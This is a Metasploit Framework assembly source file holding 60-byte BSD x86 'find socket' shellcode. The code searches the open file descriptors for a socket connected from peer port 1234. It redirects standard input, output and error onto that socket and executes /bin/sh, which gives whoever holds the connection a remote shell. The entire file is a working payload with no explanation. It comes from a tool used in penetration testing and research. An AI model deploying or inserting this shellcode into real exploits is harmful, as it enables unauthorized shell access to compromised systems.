metasploit-framework/external/source/unixasm/bsd-x86-fndsockcode.s

76 lines
1.6 KiB
ArmAsm

/*
* $Id: bsd-x86-fndsockcode.s 40 2008-11-17 02:45:30Z ramon $
*
* bsd-x86-fndsockcode.s
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
.global _start
_start:
# 60 bytes
fndsockcode:
xorl %eax,%eax
pushl %eax
movl %esp,%edi
pushl $0x10
pushl %esp
pushl %edi
pushl %eax
pushl %eax
0:
popl %eax
popl %eax
incl %eax
pushl %eax
pushl %eax
pushl $0x1f
popl %eax
int $0x80
cmpw $0xd204,0x02(%edi)
jne 0b
pushl %eax
1:
pushl $0x5a
popl %eax
int $0x80
decl -0x10(%edi)
jns 1b
shellcode:
# xorl %eax,%eax
# pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %esp
pushl %ebx
pushl %eax
movb $0x3b,%al
int $0x80